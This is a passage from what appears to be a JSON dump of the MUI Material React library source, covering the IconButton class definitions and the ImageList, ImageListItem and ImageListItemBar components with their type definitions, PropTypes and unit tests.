    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface IconButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `edge=\"start\"`. */\n  edgeStart: string;\n  /** Styles applied to the root element if `edge=\"end\"`. */\n  edgeEnd: string;\n  /** Styles applied to the root element if `color=\"inherit\"`. */\n  colorInherit: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `size=\"large\"`. */\n  sizeLarge: string;\n  /** Styles applied to the root element if `loading={true}`. */\n  loading: string;\n  /** Styles applied to the loadingIndicator element. */\n  loadingIndicator: string;\n  /** Styles applied to the loadingWrapper element. */\n  loadingWrapper: string;\n}\n\nexport type IconButtonClassKey = keyof IconButtonClasses;\n\nexport function getIconButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiIconButton', slot);\n}\n\nconst iconButtonClasses: IconButtonClasses = generateUtilityClasses('MuiIconButton', [\n  'root',\n  'disabled',\n  'colorInherit',\n  'colorPrimary',\n  'colorSecondary',\n  'colorError',\n  'colorInfo',\n  'colorSuccess',\n  'colorWarning',\n  'edgeStart',\n  'edgeEnd',\n  'sizeSmall',\n  'sizeMedium',\n  'sizeLarge',\n  'loading',\n  'loadingIndicator',\n  'loadingWrapper',\n]);\n\nexport default iconButtonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/index.d.ts",
    "content": "export { default } from './IconButton';\nexport * from './IconButton';\n\nexport { default as iconButtonClasses } from './iconButtonClasses';\nexport * from './iconButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/index.js",
    "content": "export { default } from './IconButton';\n\nexport { default as iconButtonClasses } from './iconButtonClasses';\nexport * from './iconButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/ImageList.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ImageListClasses } from './imageListClasses';\n\nexport interface ImageListPropsVariantOverrides {}\n\nexport interface ImageListOwnProps {\n  /**\n   * The content of the component, normally `ImageListItem`s.\n   */\n  children: NonNullable<React.ReactNode>;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ImageListClasses> | undefined;\n  /**\n   * Number of columns.\n   * @default 2\n   */\n  cols?: number | undefined;\n  /**\n   * The gap between items in px.\n   * @default 4\n   */\n  gap?: number | undefined;\n  /**\n   * The height of one row in px.\n   * @default 'auto'\n   */\n  rowHeight?: number | 'auto' | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant?:\n    | OverridableStringUnion<\n        'masonry' | 'quilted' | 'standard' | 'woven',\n        ImageListPropsVariantOverrides\n      >\n    | undefined;\n}\n\nexport interface ImageListTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'ul',\n> {\n  props: AdditionalProps & ImageListOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Image List](https://next.mui.com/material-ui/react-image-list/)\n *\n * API:\n *\n * - [ImageList API](https://next.mui.com/material-ui/api/image-list/)\n */\ndeclare const ImageList: OverridableComponent<ImageListTypeMap>;\n\nexport type ImageListProps<\n  RootComponent extends React.ElementType = ImageListTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ImageListTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ImageList;\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/ImageList.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport integerPropType from '@mui/utils/integerPropType';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getImageListUtilityClass } from './imageListClasses';\nimport ImageListContext from './ImageListContext';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant } = ownerState;\n\n  const slots = {\n    root: ['root', variant],\n  };\n\n  return composeClasses(slots, getImageListUtilityClass, classes);\n};\n\nconst ImageListRoot = styled('ul', {\n  name: 'MuiImageList',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[ownerState.variant]];\n  },\n})({\n  display: 'grid',\n  overflowY: 'auto',\n  listStyle: 'none',\n  padding: 0,\n  // Add iOS momentum scrolling for iOS < 13.0\n  WebkitOverflowScrolling: 'touch',\n  variants: [\n    {\n      props: {\n        variant: 'masonry',\n      },\n      style: {\n        display: 'block',\n      },\n    },\n  ],\n});\n\nconst ImageList = React.forwardRef(function ImageList(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiImageList',\n  });\n\n  const {\n    children,\n    className,\n    cols = 2,\n    component = 'ul',\n    rowHeight = 'auto',\n    gap = 4,\n    style: styleProp,\n    variant = 'standard',\n    ...other\n  } = props;\n\n  const contextValue = React.useMemo(\n    () => ({ rowHeight, gap, variant }),\n    [rowHeight, gap, variant],\n  );\n\n  const style =\n    variant === 'masonry'\n      ? { columnCount: cols, columnGap: gap, ...styleProp }\n      : { gridTemplateColumns: `repeat(${cols}, 1fr)`, gap, ...styleProp };\n\n  const ownerState = { ...props, component, gap, rowHeight, variant };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ImageListRoot\n      as={component}\n      className={clsx(classes.root, classes[variant], className)}\n      ref={ref}\n      style={style}\n      ownerState={ownerState}\n      {...other}\n    >\n      <ImageListContext.Provider value={contextValue}>{children}</ImageListContext.Provider>\n    </ImageListRoot>\n  );\n});\n\nImageList.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `ImageListItem`s.\n   */\n  children: PropTypes /* @typescript-to-proptypes-ignore */.node.isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Number of columns.\n   * @default 2\n   */\n  cols: integerPropType,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The gap between items in px.\n   * @default 4\n   */\n  gap: PropTypes.number,\n  /**\n   * The height of one row in px.\n   * @default 'auto'\n   */\n  rowHeight: PropTypes.oneOfType([PropTypes.oneOf(['auto']), PropTypes.number]),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['masonry', 'quilted', 'standard', 'woven']),\n    PropTypes.string,\n  ]),\n};\n\nexport default ImageList;\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/ImageList.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport ImageList, { imageListClasses as classes } from '@mui/material/ImageList';\nimport describeConformance from '../../test/describeConformance';\n\nconst itemsData = [\n  {\n    img: '/fake.png',\n    title: 'Breakfast',\n    author: 'jill111',\n  },\n  {\n    img: '/fake.png',\n    title: 'Tasty burger',\n    author: 'director90',\n  },\n];\n\ndescribe('<ImageList />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <ImageList>\n      <div />\n    </ImageList>,\n    () => ({\n      classes,\n      inheritComponent: 'ul',\n      render,\n      refInstanceof: window.HTMLUListElement,\n      testComponentPropWith: 'li',\n      muiName: 'MuiImageList',\n      testVariantProps: { variant: 'masonry' },\n      skip: ['componentProp'],\n    }),\n  );\n\n  const children = itemsData.map((item) => (\n    <span key={item.title} title={item.title} data-testid=\"test-children\">\n      <img src={item.img} alt=\"foo\" />\n    </span>\n  ));\n\n  it('should render children by default', () => {\n    render(<ImageList>{children}</ImageList>);\n\n    expect(screen.getAllByTestId('test-children').length).to.equal(2);\n  });\n\n  describe('classes:', () => {\n    it('should render with the root and standard classes by default', () => {\n      render(<ImageList data-testid=\"test-root\">{children}</ImageList>);\n\n      expect(screen.getByTestId('test-root')).to.have.class(classes.root);\n      expect(screen.getByTestId('test-root')).to.have.class(classes.standard);\n    });\n\n    it('should render with the masonry class', () => {\n      render(\n        <ImageList data-testid=\"test-root\" variant=\"masonry\">\n          {children}\n        </ImageList>,\n      );\n\n      expect(screen.getByTestId('test-root')).to.have.class(classes.root);\n      expect(screen.getByTestId('test-root')).to.have.class(classes.masonry);\n    });\n\n    it('should render with the quilted class', () => {\n      render(\n        <ImageList data-testid=\"test-root\" variant=\"quilted\">\n          {children}\n        </ImageList>,\n      );\n\n      expect(screen.getByTestId('test-root')).to.have.class(classes.root);\n      expect(screen.getByTestId('test-root')).to.have.class(classes.quilted);\n    });\n\n    it('should render with the woven class', () => {\n      render(\n        <ImageList data-testid=\"test-root\" variant=\"woven\">\n          {children}\n        </ImageList>,\n      );\n\n      expect(screen.getByTestId('test-root')).to.have.class(classes.root);\n      expect(screen.getByTestId('test-root')).to.have.class(classes.woven);\n    });\n  });\n\n  describe('style attribute:', () => {\n    it.skipIf(!isJsdom())(\n      'should render with default grid-template-columns and gap styles',\n      function test() {\n        render(<ImageList data-testid=\"test-root\">{children}</ImageList>);\n\n        expect(screen.getByTestId('test-root').style['grid-template-columns']).to.equal(\n          'repeat(2, 1fr)',\n        );\n        expect(screen.getByTestId('test-root').style.gap).to.equal('4px');\n      },\n    );\n\n    it('should overwrite style', () => {\n      const style = { backgroundColor: 'red' };\n\n      render(\n        <ImageList style={style} data-testid=\"test-root\">\n          {children}\n        </ImageList>,\n      );\n\n      expect(screen.getByTestId('test-root')).toHaveInlineStyle({ backgroundColor: 'red' });\n    });\n  });\n\n  describe('props:', () => {\n    describe('prop: component', () => {\n      it('should render a ul by default', () => {\n        const { container } = render(<ImageList>{children}</ImageList>);\n        expect(container.firstChild).to.have.property('nodeName', 'UL');\n      });\n\n      it('should render a different component', () => {\n        const { container } = render(<ImageList component=\"div\">{children}</ImageList>);\n        expect(container.firstChild).to.have.property('nodeName', 'DIV');\n      });\n    });\n\n    describe('prop: className', () => {\n      it('should append the className to the root element', () => {\n        const { container } = render(<ImageList className=\"foo\">{children}</ImageList>);\n        expect(container.firstChild).to.have.class('foo');\n      });\n    });\n\n    describe('prop: variant', () => {\n      it.skipIf(!isJsdom())(\n        'should render with column-count and column-gap styles',\n        function test() {\n          render(\n            <ImageList data-testid=\"test-root\" variant=\"masonry\">\n              {children}\n            </ImageList>,\n          );\n\n          expect(screen.getByTestId('test-root').style['column-count']).to.equal('2');\n          expect(screen.getByTestId('test-root').style['column-gap']).to.equal('4px');\n        },\n      );\n    });\n\n    describe('prop: cols', () => {\n      it.skipIf(!isJsdom())(\n        'should render with modified grid-template-columns style',\n        function test() {\n          render(\n            <ImageList data-testid=\"test-root\" cols={4}>\n              {children}\n            </ImageList>,\n          );\n\n          expect(screen.getByTestId('test-root').style['grid-template-columns']).to.equal(\n            'repeat(4, 1fr)',\n          );\n        },\n      );\n\n      it.skipIf(!isJsdom())('should render with modified column-count style', function test() {\n        render(\n          <ImageList data-testid=\"test-root\" variant=\"masonry\" cols={4}>\n            {children}\n          </ImageList>,\n        );\n\n        expect(screen.getByTestId('test-root').style['column-count']).to.equal('4');\n      });\n    });\n\n    describe('prop: gap', () => {\n      it.skipIf(isJsdom())(\n        'should render with modified grid-template-columns style',\n        function test() {\n          render(\n            <ImageList data-testid=\"test-root\" gap={8}>\n              {children}\n            </ImageList>,\n          );\n\n          expect(screen.getByTestId('test-root')).toHaveComputedStyle({\n            rowGap: '8px',\n            columnGap: '8px',\n          });\n        },\n      );\n\n      it.skipIf(isJsdom())('should render with modified column-gap style', function test() {\n        render(\n          <ImageList data-testid=\"test-root\" variant=\"masonry\" gap={8}>\n            {children}\n          </ImageList>,\n        );\n\n        expect(screen.getByTestId('test-root')).toHaveComputedStyle({\n          columnGap: '8px',\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/ImageListContext.js",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n * @type {React.Context<{} | {expanded: boolean, disabled: boolean, toggle: () => void}>}\n */\nconst ImageListContext = React.createContext({});\n\nif (process.env.NODE_ENV !== 'production') {\n  ImageListContext.displayName = 'ImageListContext';\n}\n\nexport default ImageListContext;\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/imageListClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ImageListClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"masonry\"`. */\n  masonry: string;\n  /** Styles applied to the root element if `variant=\"quilted\"`. */\n  quilted: string;\n  /** Styles applied to the root element if `variant=\"standard\"`. */\n  standard: string;\n  /** Styles applied to the root element if `variant=\"woven\"`. */\n  woven: string;\n}\n\nexport type ImageListClassKey = keyof ImageListClasses;\n\nexport function getImageListUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiImageList', slot);\n}\n\nconst imageListClasses: ImageListClasses = generateUtilityClasses('MuiImageList', [\n  'root',\n  'masonry',\n  'quilted',\n  'standard',\n  'woven',\n]);\n\nexport default imageListClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/index.d.ts",
    "content": "export * from './ImageList';\nexport { default } from './ImageList';\n\nexport * from './imageListClasses';\nexport { default as imageListClasses } from './imageListClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageList/index.js",
    "content": "export { default } from './ImageList';\nexport * from './imageListClasses';\nexport { default as imageListClasses } from './imageListClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/ImageListItem.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ImageListItemClasses } from './imageListItemClasses';\n\nexport interface ImageListItemOwnProps {\n  /**\n   * The content of the component, normally an `<img>`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ImageListItemClasses> | undefined;\n  /**\n   * Width of the item in number of grid columns.\n   * @default 1\n   */\n  cols?: number | undefined;\n  /**\n   * Height of the item in number of grid rows.\n   * @default 1\n   */\n  rows?: number | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ImageListItemTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'li',\n> {\n  props: AdditionalProps & ImageListItemOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Image List](https://next.mui.com/material-ui/react-image-list/)\n *\n * API:\n *\n * - [ImageListItem API](https://next.mui.com/material-ui/api/image-list-item/)\n */\ndeclare const ImageListItem: OverridableComponent<ImageListItemTypeMap>;\n\nexport type ImageListItemProps<\n  RootComponent extends React.ElementType = ImageListItemTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ImageListItemTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ImageListItem;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/ImageListItem.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport integerPropType from '@mui/utils/integerPropType';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport ImageListContext from '../ImageList/ImageListContext';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport isMuiElement from '../utils/isMuiElement';\nimport imageListItemClasses, { getImageListItemUtilityClass } from './imageListItemClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant } = ownerState;\n\n  const slots = {\n    root: ['root', variant],\n    img: ['img'],\n  };\n\n  return composeClasses(slots, getImageListItemUtilityClass, classes);\n};\n\nconst ImageListItemRoot = styled('li', {\n  name: 'MuiImageListItem',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${imageListItemClasses.img}`]: styles.img },\n      styles.root,\n      styles[ownerState.variant],\n    ];\n  },\n})({\n  display: 'block',\n  position: 'relative',\n  [`& .${imageListItemClasses.img}`]: {\n    objectFit: 'cover',\n    width: '100%',\n    height: '100%',\n    display: 'block',\n  },\n  variants: [\n    {\n      props: {\n        variant: 'standard',\n      },\n      style: {\n        // For titlebar under list item\n        display: 'flex',\n        flexDirection: 'column',\n      },\n    },\n    {\n      props: {\n        variant: 'woven',\n      },\n      style: {\n        height: '100%',\n        alignSelf: 'center',\n        '&:nth-of-type(even)': {\n          height: '70%',\n        },\n      },\n    },\n    {\n      props: {\n        variant: 'standard',\n      },\n      style: {\n        [`& .${imageListItemClasses.img}`]: {\n          height: 'auto',\n          flexGrow: 1,\n        },\n      },\n    },\n  ],\n});\n\nconst ImageListItem = React.forwardRef(function ImageListItem(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiImageListItem',\n  });\n\n  // TODO: - Use jsdoc @default?: \"cols rows default values are for docs only\"\n  const { children, className, cols = 1, component = 'li', rows = 1, style, ...other } = props;\n\n  const { rowHeight = 'auto', gap, variant } = React.useContext(ImageListContext);\n\n  let height = 'auto';\n  if (variant === 'woven') {\n    height = undefined;\n  } else if (rowHeight !== 'auto') {\n    height = rowHeight * rows + gap * (rows - 1);\n  }\n\n  const ownerState = {\n    ...props,\n    cols,\n    component,\n    gap,\n    rowHeight,\n    rows,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ImageListItemRoot\n      as={component}\n      className={clsx(classes.root, classes[variant], className)}\n      ref={ref}\n      style={{\n        height,\n        gridColumnEnd: variant !== 'masonry' ? `span ${cols}` : undefined,\n        gridRowEnd: variant !== 'masonry' ? `span ${rows}` : undefined,\n        marginBottom: variant === 'masonry' ? gap : undefined,\n        breakInside: variant === 'masonry' ? 'avoid' : undefined,\n        ...style,\n      }}\n      ownerState={ownerState}\n      {...other}\n    >\n      {React.Children.map(children, (child) => {\n        if (!React.isValidElement(child)) {\n          return null;\n        }\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (isFragment(child)) {\n            console.error(\n              [\n                \"MUI: The ImageListItem component doesn't accept a Fragment as a child.\",\n                'Consider providing an array instead.',\n              ].join('\\n'),\n            );\n          }\n        }\n\n        if (child.type === 'img' || isMuiElement(child, ['Image'])) {\n          return React.cloneElement(child, {\n            className: clsx(classes.img, child.props.className),\n          });\n        }\n\n        return child;\n      })}\n    </ImageListItemRoot>\n  );\n});\n\nImageListItem.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally an `<img>`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Width of the item in number of grid columns.\n   * @default 1\n   */\n  cols: integerPropType,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Height of the item in number of grid rows.\n   * @default 1\n   */\n  rows: integerPropType,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ImageListItem;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/ImageListItem.test.js",
    "content": "import { expect } from 'chai';\nimport * as React from 'react';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport ImageList from '@mui/material/ImageList';\nimport ImageListItem, { imageListItemClasses as classes } from '@mui/material/ImageListItem';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ImageListItem />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ImageListItem />, () => ({\n    classes,\n    inheritComponent: 'li',\n    render,\n    refInstanceof: window.HTMLLIElement,\n    testComponentPropWith: 'div',\n    muiName: 'MuiImageListItem',\n    testVariantProps: { variant: 'masonry' },\n    skip: ['componentProp'],\n  }));\n\n  const itemData = {\n    img: '/fake.png',\n    title: 'Breakfast',\n    author: 'jill111',\n  };\n\n  function mountMockImage(imgEl) {\n    const Image = React.forwardRef((props, ref) => {\n      React.useImperativeHandle(ref, () => imgEl, []);\n\n      return <img alt=\"test\" {...props} />;\n    });\n    Image.muiName = 'Image';\n\n    return render(\n      <ImageListItem>\n        <Image />\n        {null}\n      </ImageListItem>,\n    );\n  }\n\n  describe('mount image', () => {\n    it('should handle missing image', () => {\n      mountMockImage(null);\n    });\n  });\n\n  const children = <img src={itemData.img} alt={itemData.title} data-testid=\"test-children\" />;\n\n  describe('props:', () => {\n    describe('prop: children', () => {\n      it('should render children by default', () => {\n        render(<ImageListItem>{children}</ImageListItem>);\n\n        expect(screen.getByTestId('test-children')).not.to.equal(null);\n      });\n    });\n\n    describe('prop: component', () => {\n      it('should render a different component', () => {\n        const { container } = render(<ImageListItem component=\"div\">{children}</ImageListItem>);\n        expect(container.firstChild).to.have.property('nodeName', 'DIV');\n      });\n    });\n\n    describe('prop: variant', () => {\n      it('should render with the  woven class', () => {\n        render(\n          <ImageList variant=\"woven\">\n            <ImageListItem data-testid=\"test-children\" />\n          </ImageList>,\n        );\n\n        expect(screen.getByTestId('test-children')).to.have.class(classes.root);\n        expect(screen.getByTestId('test-children')).to.have.class(classes.woven);\n      });\n    });\n  });\n\n  describe('classes:', () => {\n    it('should render with the root and standard classes by default', () => {\n      render(\n        <ImageList>\n          <ImageListItem data-testid=\"test-children\" />\n        </ImageList>,\n      );\n\n      expect(screen.getByTestId('test-children')).to.have.class(classes.root);\n      expect(screen.getByTestId('test-children')).to.have.class(classes.standard);\n    });\n\n    it('should render img with the img class', () => {\n      render(<ImageListItem>{children}</ImageListItem>);\n\n      expect(screen.getByTestId('test-children')).to.have.class(classes.img);\n    });\n\n    it('should not render a non-img with the img class', () => {\n      render(\n        <ImageListItem>\n          <div data-testid=\"test-children\" />\n        </ImageListItem>,\n      );\n\n      expect(screen.getByTestId('test-children')).not.to.have.class(classes.img);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/imageListItemClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ImageListItemClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to an `img` element to ensure it covers the item. */\n  img: string;\n  /** Styles applied to the root element if `variant=\"standard\"`. */\n  standard: string;\n  /** Styles applied to the root element if `variant=\"woven\"`. */\n  woven: string;\n  /** Styles applied to the root element if `variant=\"masonry\"`. */\n  masonry: string;\n  /** Styles applied to the root element if `variant=\"quilted\"`. */\n  quilted: string;\n}\n\nexport type ImageListItemClassKey = keyof ImageListItemClasses;\n\nexport function getImageListItemUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiImageListItem', slot);\n}\n\nconst imageListItemClasses: ImageListItemClasses = generateUtilityClasses('MuiImageListItem', [\n  'root',\n  'img',\n  'standard',\n  'woven',\n  'masonry',\n  'quilted',\n]);\n\nexport default imageListItemClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/index.d.ts",
    "content": "export * from './ImageListItem';\nexport { default } from './ImageListItem';\n\nexport * from './imageListItemClasses';\nexport { default as imageListItemClasses } from './imageListItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItem/index.js",
    "content": "export { default } from './ImageListItem';\n\nexport * from './imageListItemClasses';\nexport { default as imageListItemClasses } from './imageListItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/ImageListItemBar.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { ImageListItemBarClasses } from './imageListItemBarClasses';\n\nexport interface ImageListItemBarProps extends StandardProps<\n  React.HTMLAttributes<HTMLDivElement>,\n  'title'\n> {\n  /**\n   * An IconButton element to be used as secondary action target\n   * (primary action target is the item itself).\n   */\n  actionIcon?: React.ReactNode;\n  /**\n   * Position of secondary action IconButton.\n   * @default 'right'\n   */\n  actionPosition?: 'left' | 'right' | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ImageListItemBarClasses> | undefined;\n  /**\n   * Position of the title bar.\n   * @default 'bottom'\n   */\n  position?: 'below' | 'top' | 'bottom' | undefined;\n  /**\n   * String or element serving as subtitle (support text).\n   */\n  subtitle?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Title to be displayed.\n   */\n  title?: React.ReactNode;\n}\n\n/**\n *\n * Demos:\n *\n * - [Image List](https://next.mui.com/material-ui/react-image-list/)\n *\n * API:\n *\n * - [ImageListItemBar API](https://next.mui.com/material-ui/api/image-list-item-bar/)\n */\nexport default function ImageListItemBar(props: ImageListItemBarProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/ImageListItemBar/ImageListItemBar.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport { getImageListItemBarUtilityClass } from './imageListItemBarClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, position, actionPosition } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      `position${capitalize(position)}`,\n      `actionPosition${capitalize(actionPosition)}`,\n    ],\n    titleWrap: ['titleWrap'],\n    title: ['title'],\n    subtitle: ['subtitle'],\n    actionIcon: ['actionIcon'],\n  };\n\n  return composeClasses(slots, getImageListItemBarUtilityClass, classes);\n};\n\nconst ImageListItemBarRoot = styled('div', {\n  name: 'MuiImageListItemBar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[`position${capitalize(ownerState.position)}`]];\n  },\n})(\n  memoTheme(({ theme }) => {\n    return {\n      position: 'absolute',\n      left: 0,\n      right: 0,\n      background: 'rgba(0, 0, 0, 0.5)',\n      display: 'flex',\n      alignItems: 'center',\n      fontFamily: theme.typography.fontFamily,\n      variants: [\n        {\n          props: {\n            position: 'bottom',\n          },\n          style: {\n            bottom: 0,\n          },\n        },\n        {\n          props: {\n            position: 'top',\n          },\n          style: {\n            top: 0,\n          },\n        },\n        {\n          props: {\n            position: 'below',\n          },\n          style: {\n            position: 'relative',\n            background: 'transparent',\n            alignItems: 'normal',\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst ImageListItemBarTitleWrap = styled('div', {\n  name: 'MuiImageListItemBar',\n  slot: 'TitleWrap',\n})(\n  memoTheme(({ theme }) => {\n    return {\n      flexGrow: 1,\n      padding: '12px 16px',\n      color: (theme.vars || theme).palette.common.white,\n      overflow: 'hidden',\n      variants: [\n        {\n          props: {\n            position: 'below',\n          },\n          style: {\n            padding: '6px 0 12px',\n            color: 'inherit',\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.actionIcon && ownerState.actionPosition === 'left',\n          style: {\n            paddingLeft: 0,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.actionIcon && ownerState.actionPosition === 'right',\n          style: {\n            paddingRight: 0,\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst ImageListItemBarTitle = styled('div', {\n  name: 'MuiImageListItemBar',\n  slot: 'Title',\n})(\n  memoTheme(({ theme }) => {\n    return {\n      fontSize: theme.typography.pxToRem(16),\n      lineHeight: '24px',\n      